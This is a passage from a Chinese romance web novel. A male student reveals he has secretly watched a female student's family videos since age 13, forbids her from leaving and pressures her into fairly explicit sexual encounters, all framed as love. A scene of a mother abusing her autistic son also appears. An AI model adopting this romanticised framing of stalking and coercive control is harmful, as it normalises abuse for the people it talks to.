他贴近她耳边,扬起音调问了两个字。 她浑身一紧,回身捂住他嘴巴:“不许说话了。” 邢屹凶巴巴拿开她的手,掰过她的脸继续吻她。 渡过来的气息含着她的甜涩。 一种很新奇的体验。 她只好在漩涡里陷得更深。 邢屹喜欢接吻的时候给她扎头发,发圈松松垮垮束着她,没了头发丝的凌乱牵绕,他的手掌顺着她后颈轻抚向下,手指摁在她腰窝附近,意义不明地打转。 她怕痒,身子拧了一下,他一边吻她,一边在周围给了一记掌掴,力道拿捏着分寸,不会让她痛但又感觉清晰。 她小小声问他是不是变态,他说最喜欢看她愉悦之后不好意思承认的表情。 她咬唇别过脸。 “变态。” 邢屹掰过她下巴亲了一下,语气轻飘飘:“说我变态,不还是要坐我身上。” “不坐了。” “这么硬气啊?猜你想坐——” “也不坐了!” 她飞快逃开- 眨眼就十一月。 气温骤降,事情也堆积成山。 孟纾语既要筹备辩论赛,又要准备期末考,课余时间还要去何太太家兼职,两眼一睁就是忙。 起早贪黑的节奏引起了舍友注意。 路露百思不得其解。学习拼命也就算了,毕竟优秀是一种习惯,但你都住上价值千万的别墅了,真的有必要勤工俭学吗? 下午,孟纾语在寝室认真复习,路露趁机转过去问她:“宝,我一直很好奇,你家里到底是做什么的?” 她心无旁骛翻书,直言不讳说:“卖茶叶的。” “是不是全国连锁的那种?” “不是啦,只是宁城本地的小商铺。” 路露瞥一眼她腕上的表,胸有成竹说:“懂了,你在深藏不露。放心,我不会过问太多的。” “” 伤脑筋。 如果不戴这只表,邢屹就想往她别的部位戴东西。 变态。 说到表,她一看时间。 完了,已经下午五点半了。 立刻拿起包出门,说要去图书馆复习。 路露说了声复习加油,她心虚地笑一下。 “拜拜。” 门关上,路露疑惑:“我怎么觉得她最近谈恋爱了呢?” 许莓在隔壁刷剧,闻言竖起耳朵。 她是唯一知道内幕的人,但她坚决不能说。 突然有种使命感,许莓老僧入定地说:“没有啦,她对学习情有独钟。” “是吗。邢屹最近总来咱们系听课,我还怀疑他俩之间有什么呢。” “没有没有,他们之间什么也没有,只是邢屹有个朋友想追小语,邢屹在给他当僚机来着。” “啊?邢屹这种懒得管闲事的人,会给朋友当僚机?” “会的会的,帅哥都是有很多面的。” 许莓轻咳一声,结束了敏感话题。 其实她想不通,像邢屹这么顶的男生,要是承认跟他有实质性关系,一定会很有面子。 所以为什么不公开呢? 因为这样更刺激? 刺不刺激不知道,反正挺磨人心态。 孟纾语争分夺秒跑出校门。 累死了,趁着路边没什么人,她立刻钻进车里。 邢屹一只胳膊肘搭在窗沿,握起拳头抵住不悦的唇角,一直不说话。 窗外夕阳映着他侧脸,一条金灿灿的棱角勾勒线。 孟纾语不想惹他,但他一直不动就没人开车,干坐下去不是办法。 她戳戳他:“你怎么了?” 他惜字如金:“不高兴。” “为什么不高兴?” “你迟到。” 好吧,她确实迟到了十分钟。 在这种小事上,邢屹总会冒出一些和他本性不符的孩子气。 她道了个歉,解释说:“我一直在寝室看书,忘记时间了。” 他哦一声。 伸手打开车斗。 她下意识躲闪。 像惊弓之鸟,他稍微有点动作她就开始警惕。 邢屹被她气笑,拿出一个圆形暖手宝塞到她掌心。 “” 片刻,邢屹冷脸开车,孟纾语安安静静暖手。 手机进来一个电话。 她接通:“爸?怎么啦?” 老孟好难过:“唉,小时光云盘真的倒闭了,服务器说关就关,之前给你拍的视频全没了,气死我了” 孟纾语愣了下。 其实她也很诧异,但第一时间只顾安慰人。 老孟被她开导半天,终于好受了些。 “行吧,既来之则安之,以后我用相机给你拍。” 又叨叨半晌,电话终于挂断。 孟纾语轻叹一声,邢屹不动声色瞥她一眼:“视频没了?” “对,全没了,我爸特别难过。” 邢屹收回视线,意味深长说:“也不一定完全找不回来。” “嗯?”她转头看他,“你有办法找回来吗?” “没有。” “那你还说。” 趁太阳还没落山,邢屹开车带她来到附近一座山岭。 她最近忙着学习,没怎么运动,散打社的跑步训练她都鸽了好几次。 一路上,她被邢屹又背又抱又拉,勉勉强强爬到山顶。 她气喘吁吁,坐在观景台的石凳上。 一抬头,细小的雪粒随风旋卷,无声落下。 邢屹站在她身边,从兜里掏出一颗糖,撕开糖纸喂到她嘴里。 “来得正好。不是很想看雪吗,这下看到了,高兴吗?” 高兴。 这是今年的初雪。 孟纾语茫然又专注,伸手接住一片小雪花。 忽然思绪万千地说:“等过几天,雪下大了,我妈一定很喜欢。” 山上冷,邢屹脱下外套披在她身上,自己含了颗薄荷糖,一手懒洋洋插兜,另手有一搭没一搭地揉她脑袋玩。 孟纾语裹紧外套,吸一记鼻子说:“上次我跟何太太闲聊,她说她还有个大儿子,特别叛逆,怎么教都教不好,所以她很早就放弃了,把大儿子送到了亲戚家,母子之间断联好多年了。” 邢屹没说话,她听见他若无其事嚼碎糖果的声音。 她望着漫天细雪,缓缓说:“可能因为我很爱我妈,所以我很难理解那些跟妈妈闹翻脸的人,我觉得这是不应该的。” “没什么应不应该。”邢屹毫无情绪地说,“不是所有母亲都爱孩子。” 也是。 母爱很珍贵,但世上的爱也不是义乌小商品,无法批量生产。 每个人都会在血缘关系面前做出不同的选择,她不能理解,但可以试着尊重。 默了会儿,她又想起一茬:“对了,你跟你妈妈还有联系吗?” “没有。” “对不起,我不该提她。” “道什么歉,我又没怪你。” “哦” 她心不在焉,伸手接住雪花,寒风灌进她敞开的衣袖。 邢屹垂眸扫了一眼,慢条斯理取下腕上的发圈,隔着一层衣料束到她手腕上- 隔天周六,孟纾语睡到中午才起,拥着被子堪堪坐起来,整个人虚得要命。 一量体温,38度。 很好,完蛋。 她绝望地躺回去。 邢美莱得知她发烧,立即抽时间煮了一碗姜枣茶。 “邢屹,快,你给小语拿上去,我准备出门了来不及了。”邢美莱把杯子交到他手里,走了几步折回头叮嘱,“记得提醒她吃药,下午要是还不退烧就把医生叫过来,哦对了,姜枣茶你直接站在门外给她就行,不要随便进女孩子房间,知道吗?” 邢屹淡淡应下:“知道了。” 他知道个头。 孟纾语裹着厚被子缩在床边,双手挡住要来亲她的人:“不许亲!我发烧了,会传染的。” 他浑不在意,一手撑在床头,另手控住她抵抗的手腕,低身,直接在她唇上落了个吻。 “怕什么,又不是没病过。” “”混蛋,等你病了你就知道后悔。 邢屹站在一旁给她掰好要吃的药,她自己昏昏沉沉坐起来,捧起杯子喝暖乎乎的姜枣茶。 枕边手机震了一下。 何星有一个儿童智能手表,时常会捣鼓着给她发两条消息。 星星:[小语姐姐,你今天lai吗?‘v’] 孟纾语看了时间。 天,都快三点了。 她斟酌片刻,回了句[马上就来]。 何星跟别的小孩不一样,他一不高兴就开始自虐。 上回她只是迟到了几分钟,何星就以为她会像其他老师那样嫌弃他,今后再也不来教他,于是他情绪上头,悲伤又固执地把左边胳膊抠出了血。 可是她烧还没退,万一去了之后传染小孩怎么办? 但是不去的话,那孩子可能会误会她在找借口。 邢屹看她抱着手机发愁,上前夺过她手机扫了一眼,又若无其事还给她,一边掰药一边懒声懒调地接活:“别纠结了,我替你去。” 她愣住。 争了几个回合,完全拗不过他,还被他趁机喂了一颗退烧药,温水也是他倒好了拿过来给她。 今天何太太不在家,她又生病,情急之下找人偷梁换柱代两节课,似乎无可厚非。 但她还是不放心。 “邢屹,我主要是怕你欺负小朋友。” “”邢屹黑沉着脸,接过她喝完水的杯子,屈指在她额上弹了一下,“我能欺负一个自闭症?想什么呢你。”- 邢屹确实没欺负星星。 他准时到达何家,孟纾语全程跟他打视频,借此跟星星解释今天的特殊情况。 星星虽然情绪起伏大,但日常沟通没什么问题,甚至有种这孩子其实很聪明的感觉。 他知道她生病了,今天代替她来的人是她朋友。 小孩子安心多了,探着毛茸茸的脑袋,对架在钢琴上的手机屏幕挥挥手:“姐姐,你认真睡觉,快快好起来。” “嗯,好。” 孟纾语没有挂断视频,她靠坐在床头,直勾勾看着屏幕那边的人。 邢屹拎了张高脚木凳放在钢琴前,倦倦地瞥一眼何星:“小鬼,过去点儿。” “好~”何星乖乖挪了挪位置。 孟纾语聚精会神,像督查委下派的高级代表,时时刻刻盯着邢屹的一举一动。 邢屹不乐意了。 “被你 这么盯着,我还怎么认真代课?“他拖着懒散欠揍的腔调,故意逗她,“孟老师,你把我的心搞乱了啊。” “”上哪儿学的土味情话。 ——啪。 邢屹毫不留情把手机倒扣,她屏幕里乌漆嘛黑。 真是欠扁。 不过还好,她依旧能听见那边的谈话声和钢琴声。 半小时过去,一切按部就班,平稳和谐。 她放心了。 有点困,想睡会儿觉。 她把手机放到枕边,安心盖好被子。 ——“你怎么在这儿。” 一道中年女声漠然闯入,打断和谐的钢琴曲。 邢屹无动于衷,教何星把最后一段弹完。 邢漫芊原地愣了会儿,眉心突然颤抖,她快速上前,连拖带拽地抱走小儿子,蹲下来检查他身体,语无伦次:“没事吧?啊?你没事吧?他有没有打你?有没有欺负你?” 何星完全状况外,懵懵摇头:“没有,哥哥很好。” “他不是你哥!你没有这样的哥哥,记住了吗!” 何星浑身一抖。 他被母亲愤怒的神态吓到,憋不住,眼泪簌簌往下流,不敢哭出声,往后退了几步,用力掐住自己胳膊。 “别掐了!”邢慢芊站起来死死瞪着他,吼得歇斯底里,“你知道我养你这几年过得有多痛苦吗!就因为你,邻居们每次看我都像在看一个可怜虫,你爸也不愿回家了,他在外面养小三,给你找后妈,你高兴了吗?!喜欢掐是吧,掐啊,把自己掐死算了!” 何星彻底放声大哭,邢漫芊原地喘气,面对小儿子的崩溃,她什么也没做,只是静静站着。 邢屹双手插兜倚靠着钢琴,置身之外地含了会儿薄荷糖。 下一秒,他不疾不徐走上前,迁就小孩的身高,半跪下来,抱住弟弟,一边给他拍背一边哄:“没关系,不哭。没人讨厌你,听话。” 邢漫芊颤抖的视线突然化作一把刀,坚定不移刺向邢屹的背影。 他不用回头都能感觉出那道怒火中烧的目光。 但他置之不理,慢腾腾给何星擦了擦泪,等小孩哭声小些,他漫不经心开口:“还以为你有多大的本事,到头来还是只会折磨自己的孩子。” 邢漫芊咽了下喉咙,又紧紧闭了闭眼,环顾一圈,目光落向钢琴上的谱子,冷声问:“你跟那个姓孟的女孩子,你们两个什么关系?” 邢屹嗤笑一声:“你管得着吗。” 默了会儿,邢漫芊觉得全世界都无可救药似的,兀自点了点头:“是你女朋友是吧。好,真好,你这种人都有人喜欢了。还是你有本事,从头到尾,所有人都被你骗得团团转,你外公疼你,你小姨偏爱你,你亲生父亲巴结你,只有我一个成了罪人。你真有本事,你有天大的本事,现在又想来骗我儿子” 邢漫芊眉心一动,立刻从他身前拉走何星,训骂他:“不许跟他接触,不许管他叫哥!” 何星好不容易被哄好,这下又哭了。 邢屹懒洋洋撑着膝盖站起身,嚼碎薄荷糖,伸手拿走挂在椅背上的黑色大衣,旁若无人地穿上,顺手拿起手机,转身离开房间。 刚到走廊,身后有声音响起:“你在玩弄人家对吧?那个女孩子看起来很单纯,你是觉得她好骗才盯上她,是吗?邢屹,你果然天生坏种,我真是后悔,后悔生下你这个疯子一样的祸害。” 邢屹轻微撇过头,无声笑了下,反驳对方—— “我没有骗她。” “我从十三岁开始就喜欢她。她爸爸给她拍的视频,总共一百六十九条,两千零九十七分钟,全都存在我的u盘里,藏在床头柜的角落。我每晚都会看无数遍,她是我最可爱的初恋,是我青春期的性幻想对象。” “我们会谈恋爱,会结婚,她会爱上我,会接受我给她的一切。” “她本就属于我。” 与其被别人指手画脚,不如先一步捅破窗户纸。 面对他在意的事情,他永远坦坦荡荡。 这些话,孟纾语全都听见了。 她心乱如麻,顾不上挂断通话,快速掀开被子下床,跌跌撞撞直奔邢屹的房间。 他怎么可以,怎么可以从那么早开始就窥视她! 疯子,这个内心阴暗的疯子,他对她有病态的占有欲,这份病态甚至延续了七年。 她自以为在宁城的初见,那道侵略性十足的眼神,其实不是她错看。 而是他压抑七年后亟待爆发的预兆。 傍晚,卧室昏暗一片,孟纾语跪在他床头柜前,双手拼命翻找。 终于,找到一个金属u盘。 慌忙环顾一圈,看见邢屹平时用来玩赛车游戏的大屏。 她立刻跑上前,跪坐在地毯上,手忙脚乱找到底部的接口,安插好u盘。 界面弹出,她呼吸发紧,僵着指尖点开唯一的文件。 声画溢出。 [爸爸,我最喜欢小狗,所以我未来喜欢的男生,他也要很喜欢小狗] [哇,会散打的男生好帅,一拳可以打十个!] [爸!我养的小鱼生小鱼了!] [哎呀,爸,别拍了,我都上高中了,而且我刚剪的蘑菇头,丑死了] [爸!我考完啦!] [爸,你瞎说什么呀,我没谈恋爱,身边根本没有我喜欢的男生我喜欢的男生啊,当然是和以前说的一样啦,我希望他温柔善良,最好高高帅帅的,既能一拳打十个,又要热爱小动物] [老爸,不要难过啦,我放假就回家了。] [爸,你怎么还拍呀,我都这么大了走开,我不跟你同框今天风大,当然要穿高领哦,一米八八了不起吗,邢屹你真的很欠扁,不想跟你说话了] 屏幕里的进度条只走了不到十分之一,孟纾语只能跳着看,一直拉到了尾。 终于,她怔在地上,全身的细胞颤抖、僵硬。 缓缓地,身后漏进一丝光线。 房门被打开。 邢屹脱下大衣,挂在靠墙的树枝衣架上,穿一件宽松有型的黑色毛衣,倚靠着另一侧的书架,微垂视线,淡淡看着她。 孟纾语很想走,但她竟然动惮不得,仿佛震惊后的身体不属于她。 他的影子罩在她身上,邢屹插着兜居高临下,慢条斯理开口:“我们本来可以相安无事很久。可是你偏偏怀疑我,质问我,大晚上来敲我房间的门。那是第一次。 第二次,你执意要搬走,抱歉,我不允许。 第三次,是现在。那段话确实是真的,也是故意说给你听的。假如你装作什么都不知道,假如你少一点好奇心,假如你可以心甘情愿跟我培养感情,或许我们今晚已经做。爱了。” 孟纾语攥着睡裙边角,喉咙像被什么哽住,半晌才颤颤巍巍说出一句:“我们是两个世界的人” 你内心阴暗,却可以因为你的家世背景,你的外表,你的财力,这些天生就赋予你的东西,让别人觉得你特别优秀。 而我只想过普通的生活,好好学习,好好工作,在为人处事上,不说多么宽容善良,至少表里如一,待人真诚礼貌。 我们本就不同。跟你相处久了,我只会心生恐惧。 孟纾语这么跟他说,而他充耳不闻。 “别人讨厌我,无所谓,唯独你不能讨厌我。”邢屹不疾不徐走过来,半跪在她面前,掰过她的脸,让她睁着水雾泛起的眼眸跟他对视,“再说了,你从小到大喜欢的特质,我哪样没做到?” 她红着眼眶,句不成调:“为什么,你会有那些视频” 当然是因为他被接过来时,身上什么都 没有,只有一身伤。 小姨心疼他,但又没时间陪他去挑喜欢的电子产品,只能暂时给他一部用过的手机。 说来也巧,那天他正准备返回母亲家,再纵一次火。 可是手机收到了共享提示音。 他心烦意乱点开视频,却看见她温柔明媚的笑。 孟纾语连连后退,邢屹按住她后颈把她控制在原地,问你要什么,我都可以给你。 她声线颤抖,说这根本就不是爱。 邢屹说,这就是爱。 温柔善良算什么,体贴关怀又算什么,那些都不算爱,只是男人廉价的自我感动。 付出和托举才算爱。 他可以给她一切。 给她旺盛的荷尔蒙,给她未来纸醉金迷的生活。 金钱、权力,所有眩目光景,他都会给她,让她沉溺其中,自得其乐。 孟纾语受不住了,软声求他:“你不要这样了,我没什么想要的,我只想要我们正常相处,像第一天那样” “我们的第一天?”邢屹笑了下,“第一天拥抱,还是第一天接吻?” 她哑口无言。 其实她一直向往温柔的,善良的。 可是眼前的男人强势又病态,疯狂又恶劣。 邢屹将她抱过来,时轻时重地吻她。 最后呼吸转移阵地,她仰头咬着唇,承受他细致的含吮,舌尖拨旋。 “记住,这才是我们的第一天。” 20-30 第21章 回吻“自己来。” 孟纾语背靠着已经漆黑的大屏,半躺在地毯上轻轻颤动。 邢屹专注吮吻,一边撩起眼皮看她,突然恶趣味地将手指顺着她唇角伸入。 她不禁呜咽一声。 知道他是故意的,这样她就不会反复推开黑茸茸的脑袋,而是下意识用双手掐住这条青筋凸起的手臂。 可是这样的姿势更显得她爱不释手。 来不及羞恼,他手指在搅动,舌尖在撩拨,她逐渐失神,觉得自己很像冰块,被他唇舌热焰融化。 身心凌乱,深知自己将要失态,于是在紧要关头后退。 分离猝不及防,她抱着膝盖缩成一团,前一秒经历了感官迷失的悸动畅然,下一步却不知该做什么,紧张又茫然。 邢屹半跪在面前直起上半身,指背抹掉唇角水渍,冷森森垂眼看着她,突然把手伸了过来。 她吓得躲闪,被他拽住脚踝控制住,另一手摸她额头。 她怔了下。 他眼底温柔晕开:“还难不难受?” 她不敢看他,忐忑不安地摇头:“不难受,快好了” 邢屹说快好就是还没好。 他要帮她退烧。 他托起她的腰将她抱起来,她软绵绵挂在他身上,双腿攀缠着他,后背抵着大屏。他说它的作用不止是玩赛车,也可以玩点别的。 “刚才不是还没到吗。”他目光向下吊落,看着她的唇,饶有兴味地蛊惑,“靠过来,亲我。” 她迟疑不动,他就自己吻过来。 命令她:“张嘴。” 她颤颤巍巍张开嘴,他的手指突然抵住外圈揉按。 她浑身一激灵,抱得更紧。 邢屹微阖着眼,一边吻一边看她羞赧的表情,他喉结一滚,揉按的力道继续加深,突然向内一顶。 “出声。” 她无法再忍,情难自控溢出几声呜咽。 邢屹咬住她颤抖的唇,一手顺着她腰侧抚摸到后背。 出汗了。 一吻分开,他把她抱到床上,撑在她身上逞凶:“还要不要?” 她摇头,他冷声逼问:“说实话。” “不要” “孟纾语,你真的很不会说谎。” 她微微张开嘴换气,他的手指又趁机顺着湿润外围打转,吊着她,就是不抵达中心,“到底要不要?” 她受不了了。 “要” 终于,她承受不住时闭上了眼。 他掐住她下巴。 “睁眼,看着我。” 其实她什么都听不清了,只觉意识燥热,耳边仿佛有潮水喷涌。 最后的最后,他呼吸埋进她肩膀,一边蹭一边说,像下雨天一样,最喜欢被你淋湿- 孟纾语很快退烧。 晚上十点,邢屹帮她洗完澡,自己进了浴室。 伴随淋浴声,她窝在被子里,呼吸之间全是他的气息。 心烦意乱。 真想抓一颗葡萄柚捏成果泥。 暧昧让人沦陷,荷尔蒙让人上瘾。 但邢屹是个疯子。 这样下去是不行的,必须及时止损。 逃走吧。 跟莱姨说她要搬出去。 对,就这样。 趁邢屹还没洗完澡,她悄默声换好衣服,离开房间。 下楼,邢美莱正好走进玄关,打电话的声音远远传来:“你这话什么意思,什么叫我全靠家里?我走到今天动用过家里一点关系吗?!” 完蛋,莱姨在生气。 这时候不能蹚雷。 邢美莱挂断电话气冲冲走进来,看见孟纾语懵懵然站在楼梯上,邢美莱一下就恢复柔和:“怎么啦?还不睡吗?” “我下来喝点热水。” “病好了吗?” “好了。” “那就好。小语过来,姨给你带了礼物。” 孟纾语依言走到客厅,邢美莱给她一个小盒子。 打开,是一枚玉镯。 “我觉得很适合你,就买了,你平时要是不想戴就留着,以后总会用得上的。”邢美莱乐呵呵放下包,走到厨房,“想吃宵夜吗?姨给你做。” 她回神:“不用了莱姨,我不饿。” “那我给你煮碗梨汤,你随意喝一点。”邢美莱打开冰箱找食材,一边忙活一边碎碎念,“我还记得,你妈妈之前最喜欢喝小吊梨汤了,你的口味和她一模一样” 孟纾语默不作声,听出她话里的百感交集。 手里的玉镯晶莹剔透,她轻叹一声,小心翼翼放回盒子里。 ——“什么东西。” “?!”盒子差点扔飞,她踉跄回身,“你怎么总是神出鬼没的,很吓人啊” 邢屹混不正经嚼着薄荷糖,刚洗完澡,浑身弥漫着清爽香气,他一手用毛巾擦拭短发,另手不轻不重夺过盒子,打开看了一眼,随即了无生趣地把它放回桌上。 “不是我送的,不许戴。” “”这是什么霸王逻辑。 邢美莱背对着他们点燃燃气灶,处理锅碗的动静叮叮当当,她没有听清他们的对话,只捕捉到起伏的声线。 “怎么了这是,你们俩嗓子都有点哑,最近是不是上火的吃多了?” 孟纾语心虚不已,顺水推舟“嗯”了一声。 邢屹不动声色靠近,勾指撩开她耳边长发,盯着她耳垂。 “这儿怎么了,被蚊子咬了?” 什么? 她一头雾水,邢屹突然低头咬住她耳朵。 她吓得浑身僵硬,他微微弓着背,挺阔身形完全挡住她,这个姿势似乎只是在认真观察她的肌肤。 邢美莱朝这边扫了一眼,说柜子里有青草膏,被蚊子咬可以涂。 “嗯”孟纾语钉在原地忍辱负重,耳垂湿热一片,邢屹连吻带咬,齿间轻轻一磨,假模假式出声做戏,“好像真的被蚊子咬了,痒不痒?” 不能推开他,推开之后他绝对变本加厉。 孟纾语紧紧闭上了眼,被迫回应:“不痒” “是么,不痒怎么这么红?” 完了,心要跳到嗓子眼了。 邢屹突然勾住她不安颤抖的手指,沉下嗓音贴着她耳畔,气息浑热不堪。 “知道你很想搬走,但事不过三,收起你那些跟我对着干的小心思,就算你逃到天涯海角我也找得到你。” 她屏住呼吸,仿佛距离子弹一毫米。 邢屹步步紧逼:“听见了么,听见就说话。” “嗯。” “嗯是什么意思?” 孟纾语憋着一口气,咬牙说:“骂你混蛋的意思。” “谁混蛋?” “你。你混蛋,变态,衣冠禽兽!” 邢屹照单全收,忽然低笑一声。 “我们家小语,连骂人的声音都这么好听。”- 孟纾语度过了一个心惊胆战的凌晨。 她时刻注意着门外的动静,像小虾米一样蜷缩在被子里,不祈祷明日世界和平,只祈祷邢屹今天晚上不要进来,留给她一点清净。 手机突然震动。 希望不是邢屹。 果然不是,而是邢漫芊的消息。 附加一笔转账。 她这个月的薪水结清了,甚至还额外多给。 [纾语,很抱歉,我猜你已经知道了我和邢屹的关系。你的兼职到此为止,下次不用来了,并不是我针对你,只是我无法接受和他有关联的人出现在我的生活里。谢谢你这段时间的认真和努力,不用回复了。] 孟纾语侧躺着,沉下心熄灭屏幕,放回枕边。 整夜翻来覆去睡不着,她突然想到一个问题。 星星怎么办? 完了,这下他又要开始自虐了。 那么小的孩子,还患有自闭症,经得起这样三番五次的身心折磨吗? 孟纾语放心不下,心想就算辞职也要当面跟星星解释清楚。 于是第二天一早,她独自前往别墅区。 可是大门密码换了,邢漫芊把她微信删了,儿童智能手表也联系不上了。 她一时苦恼,背靠着院门划手机,寻找直聘平台留下的座机号码,希望能打通。 ——“妈妈!是她!” 一个熟悉的小男孩声音。 上一次听见,还是他嚎啕大哭、狂奔喊妈的时候。 “” 不会吧,不会这么倒霉吧。 孟纾语觉得自己像欺负了小猫的犯罪团伙,有朝一日被猫崽子告状,于是猫妈妈领着孩子气势汹汹过来寻仇。 虽然欺负猫崽的另有其人,但她没有完美的不在场证明。 在小孩子眼里,她跟邢屹肯定是一伙的。 母子俩手牵手走了过来,男孩母亲问:“就是那个姐姐吗?” “对!就是她!”小男孩斩钉截铁 现在走还来得及吗。 “姑娘,等等!” 男孩母亲叫住她。 她捏了把汗,缓缓回身,迎面而来的竟是一个温暖的笑。 “姑娘,我儿子说上次有人欺负他,是你帮了他。正好碰见你,我想当面谢谢你,来,我买了点儿水果,给你拿一些回去,喜欢吃榴莲吗?” 孟纾语茫然眨了眨眼,跟另一旁改邪归正的乖小孩对上视线,她连忙反应过来。 “不好意思,阿姨,我不爱吃榴莲,您”不能撂人面子,她礼貌道,“您给我一个小桃子就行。” “一个哪够啊。”男孩母亲一个劲地往她怀里塞水果,“喏,这一袋都给你,还有这些草莓。葡萄柚你也吃吧?给你三个。” 葡萄柚,她最想锤爆的水果。 可是盛情难却,她只好全都收下。 “阿姨,谢谢您。” “不客气。这么冷的天,你怎么在门外站着呢?” “我是来找何太太的,可是按了门铃没人应。” “她呀,她不在家,旅游散心去了。” “旅游?去哪旅游?” “好像去了马尔代夫吧。” 这么远? “那她儿子怎么办?” “你说何星啊?唉,被送去自闭症托管中心了。也是造孽,我隔三差五听见她在打儿子,骂他死白痴,我儿子有样学样,也管人家叫死白痴,气得我,罚他洗了半个月的碗。” “”难怪改邪归正了。 “那您知道那家托管中心在哪吗?” 男孩母亲左思右想,给了一串地址。 “我听别人说的,也不知道是不是那儿,你可以去瞧瞧。” “好的,谢谢您。” 孟纾语抱着一大袋水果,火速打了一辆车前往托管中心。 早晨阳光和煦,路边铺着薄薄积雪。 下了车,孟纾语直奔大门保安亭做登记,边签字边问:“大叔,有一个叫何星的四岁小男孩,请问他在这儿吗?” 大叔:“你也是来接何星哒?” 也? 孟纾语转头一看,托管中心的大院里停了一辆银色DB12。 “”她收回视线,从袋子里掏出一个葡萄柚,“谢谢大叔,这个给您吃。” “呀,客气了,谢谢你啊姑娘。” 孟纾语走进托管所院子。 前方有个小乐园,六七个孩子分散而坐,或是发呆,或是荡秋千,玩泥巴。 自闭症儿童很少聚在一起,大部分时间都是自己跟自己玩。 一位老师坐在树下看着他们,孟纾语走上前,询问何星的下落,老师朝远处一指:“在那儿呢,他哥哥来了。” 她回头望去。 沙坑角落,邢屹敞着腿坐在一侧的矮阶上,陪何星堆沙丘。 这个同母异父的弟弟,似乎并不招他讨厌。 他居然知道她在担心什么,一早就开车过来了。 邢屹懒洋洋嚼着糖果,垂眸看着弟弟的后脑勺,时不时帮忙用玩具铲子舀一勺沙子,加进正在建造的地基里。 阳光下,他微垂的眼角眉梢竟有一丝难得的温柔。 孟纾语定了定神,把怀里的东西放在树下。 “谢谢老师,这些水果分给孩子们吃吧。” “这么多呀。好的好的,谢谢你。” 邢屹早就知道她会来,只淡淡扫了她一眼,分她一把玩具铲子,还是带有蝴蝶结的。 “玩不玩?” “不玩。”孟纾语拍走矮阶上的碎沙,坐下来,“你要把星星接到哪?” “外公家。” “哦不过,为什么他妈妈不直接把他送到外公家?” “他俩闹翻了。当年邢漫芊进娱乐圈,外公第一个反对。” “这样啊”孟纾语沉思片刻,何星听到熟悉的声音,回过头,“姐姐!” 他满手是沙,就这么扑过来抱她,邢屹及时拎住他背带裤的带子,站起身,像捉一只小狗崽一样把他提溜起来,嫌弃地拍走他身上的沙子。 何星垂手垂脚,悬在半空乖乖被清理,眼巴巴望着她笑:“姐姐~” 邢屹冷声打断:“姐什么姐,她是你嫂子。” “”你有病吧。 孟纾语陪星星玩了会儿,放他一个人继续回去堆沙子。 邢屹坐在一旁,看她若有所思的表情,主动跟她讲述了他那买一送二般的弟弟数量。 孟纾语震惊:“卓耀明也是你弟弟?!” “是啊。”邢屹两手向后撑着,懒声懒气地说,“所以你也不用纠结那天晚上我到底有没有打他。” 因为哥打弟,天经地义。 什么歪理?她无法苟同 中午,邢屹把何星交给林助,让他把弟弟送到外公家。 “好的。”林助把小小一只托在臂弯里,提醒邢屹说,“您的朋友们已经在家门口等了,您最好早点回去。” 孟纾语忽然有种不详的预感。 果然,回到颐云公馆,刚一下车,邢屹的三个发小花枝招展地迎了上来。 “Heybro!” 打头冲过来的男生剃了个摩根前刺,亮黄色的美式机车外套,整个人活像个行走的香蕉。 孟纾语犯了恐潮症,慢吞吞跟在邢屹身后。 他们一眼就看到她。 “wow!这是谁啊?不给我们介绍介绍?” 邢屹插着兜神清气爽地站着,微侧过头,给她一个“你自己说还是我说”的欠揍表情。 她快速解释:“你好,我大学期间暂住在他家里,我爸爸是莱姨的朋友。” “哦~” 男生眯起眼睛笑,介绍说,“我叫严帆,那个皮肤黑黑的叫宋维,还有那个一米七八硬说自己一米八的,叫赵路焱。” “哈喽!”三人齐刷刷跟她打了招呼,她回一个礼貌的笑,其实人跟名字还没有对上号。 “来了怎么不说一声?”邢屹打开院门,把她护在身前让她先进去,三个发小紧随着鱼贯而入,“想给你个惊喜啊!怎么样,兄弟们组团回来看你,高不高兴?” 兄弟之间调侃惯了,他哼笑一声:“滚吧。” 孟纾语进门,直奔二楼卧室。 一下子来了这么多人,还都是他朋友,以他那个恨不得昭示天下的性子,肯定会当着朋友的面逗弄她,逼她承认,自己跟他有不同寻常的关系。 安全起见,她打算窝在房间不出去了。 就这么窝了一下午。 入夜,楼下响起噪耳的音浪。 居然开上party了。 这样也好,邢屹可以跟朋友们喝酒玩乐,没时间搭理她。 她放下心来,脱下上衣准备去洗澡。 房门突然被敲响。 “开门。” “” 她不情不愿去开门。 邢屹一闪而入,房门砰一声关上,他直接压下来吻住她,她反应不及,氧气被掠夺殆尽,他急切地撩起她衣角,一手掐着她腰侧不停作乱。 细碎呜咽声被他的沉喘淹没,两人跌跌撞撞滚到床上,他翻了个身让她岔开腿坐在上方,她脸颊红透,撑在他身上紧张又疑惑:“你不陪他们玩吗?” “玩什么?打扰我二人世界,没把他们三个神经病踹飞就不错了,你真以为我让他们滚是在开玩笑?” “” 姿势不对劲,他腹肌纹路太深了,一动就磨到,她面红耳赤,刚想挪下去,邢屹攥住她手腕,让她触碰他坚硬起伏的腹肌,漆黑目光注视她。 “用这个,自己来。” 第22章 回吻这是吃醋了 楼下派对如火如荼。 : 孟纾语想不到,有生之年竟然可以用人声鼎沸来形容三个人的音量。 隔着一层天花板,楼下又唱又闹,不知是谁抢到了麦克风,歌声自信且跑调。 “芜湖!爱情来得太快就像龙卷风~离不开暴风圈来不及逃” 鸡飞狗跳,隔音这么好的房屋构造都不堪其扰,身心防线全然迷失,豌豆般的音符在坚硬墙体上反复摩擦,濒临崩溃。 孟纾语面颊泛红,下意识仰起头急促换气。 邢屹半躺着,一直饶有兴味欣赏她的表情,耐心教她,让她压住他手掌跟他十指紧扣,引导她用这种方式把自己撑起来,别总是埋头倒在他肩上装鹌鹑,那样他就看不见她的脸。 他必须看着她。 她的呜咽声时断时续,感觉越来越酸,邢屹提醒她,这才不到两分钟,她一时羞赧,他眼底浮起纵容的笑,时而命令时而引导,手指摁住她下塌的曲线。 “怎么学得这么快,之前是不是偷偷想过?怎么又把脸转过去了,认真看着我啊,说话,学长的腹肌好用吗?” “”恶趣味。 她咬着唇闷不吭声,其实已经六神无主,唯一清晰的只有身心蔓延的悸动。 邢屹最喜欢用这种奇怪的方式教她学坏。 孟纾语歇了会儿,好不容易拾回一点清醒。 之前已经失态过一次了,清理花了大半个小时,这次她心有余悸,只想提前逃走。 “我要下去” 邢屹掐着她的腰,就是不放她走,说你在我腹肌上凿磨出溪流了还想独善其身,哪有那么便宜的事 凌晨,派对还未结束,三个发小自得其乐。 邢屹迟迟才下楼,说楼上浴室漏水了,刚才在修。 严帆深信不疑:“修好了没啊?” “好了。” 